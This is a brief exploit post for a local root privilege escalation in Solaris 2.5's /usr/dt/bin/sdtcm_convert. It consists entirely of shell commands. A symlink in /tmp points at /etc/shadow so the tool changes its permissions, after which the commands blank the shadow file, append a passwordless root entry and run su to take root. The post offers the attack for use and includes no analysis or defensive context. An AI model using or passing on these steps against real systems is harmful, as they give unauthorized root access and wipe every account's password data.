Solaris 2.5 /usr/dt/bin/sdtcm_convert root exploit.

% ln -s /etc/shadow /tmp/calorig.<username>
% /usr/dt/bin/sdtcm_convert -d /tmp -v 3 <username>
% ls -l /etc/shadow
% chmod 644 /etc/shadow
% cp /dev/null /etc/shadow
% ls -l /etc/shadow
% echo "root::6445::::::" >> /etc/shadow
% su